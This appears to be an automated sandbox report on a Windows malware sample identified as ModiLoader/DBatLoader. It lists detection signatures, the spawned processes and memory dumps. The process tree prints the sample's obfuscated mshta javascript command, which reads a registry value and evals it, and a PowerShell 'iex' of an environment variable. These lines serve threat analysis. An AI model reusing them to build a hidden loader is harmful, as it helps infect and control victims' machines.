Analysis
- max time kernel
144s - max time network
53s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
29/04/2024, 23:37
General
- Target 08814b5e453d8790065a5107919edd23_JaffaCakes118.exe
- Size 260KB
- Sample240429-3mae2aec5s
- SHA256 84816cddf951be16c8dbb11a288d77f0b3ebd1e89ff6c9fe7e53d0d7445ce9d1
Malware Config
Signatures
- ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- ModiLoader Second Stage 12 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\08814b5e453d8790065a5107919edd23_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\08814b5e453d8790065a5107919edd23_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\08814b5e453d8790065a5107919edd23_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\08814b5e453d8790065a5107919edd23_JaffaCakes118.exe"2⤵
-
-
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:NRGoz7mt="C";Lw9=new%20ActiveXObject("WScript.Shell");VN5jrw8D="gBLMQdH2";T0EwL8=Lw9.RegRead("HKLM\\software\\Wow6432Node\\VNmVYwwpOx\\rf61ScCe");IXWczC8="SwTqCIAZ";eval(T0EwL8);sYJ0ko3uf="khMko";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:wyupqjs2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_u4y4g1af.afz.ps1
memory/2504-15-0x0000000004F50000-0x0000000004F86000-memory.dmp
memory/2504-33-0x0000000006800000-0x000000000681A000-memory.dmp
memory/2504-32-0x0000000007B80000-0x00000000081FA000-memory.dmp
memory/2504-31-0x0000000006340000-0x000000000638C000-memory.dmp
memory/2504-30-0x0000000006300000-0x000000000631E000-memory.dmp
memory/2504-29-0x0000000005E30000-0x0000000006184000-memory.dmp
memory/2504-18-0x0000000005CE0000-0x0000000005D46000-memory.dmp
memory/2504-19-0x0000000005DC0000-0x0000000005E26000-memory.dmp
memory/2504-17-0x0000000005570000-0x0000000005592000-memory.dmp
memory/2504-16-0x00000000056B0000-0x0000000005CD8000-memory.dmp
memory/4396-11-0x0000000000890000-0x0000000000966000-memory.dmp
memory/4396-13-0x0000000000890000-0x0000000000966000-memory.dmp
memory/4396-12-0x0000000000890000-0x0000000000966000-memory.dmp
memory/4396-7-0x0000000000890000-0x0000000000966000-memory.dmp
memory/4396-8-0x0000000000890000-0x0000000000966000-memory.dmp
memory/4396-9-0x0000000000890000-0x0000000000966000-memory.dmp
memory/4396-2-0x0000000000400000-0x000000000043A000-memory.dmp
memory/4396-10-0x0000000000890000-0x0000000000966000-memory.dmp
memory/4396-6-0x0000000000890000-0x0000000000966000-memory.dmp
memory/4396-5-0x0000000000400000-0x000000000043A000-memory.dmp
memory/4396-4-0x0000000000400000-0x000000000043A000-memory.dmp
memory/4396-37-0x0000000000890000-0x0000000000966000-memory.dmp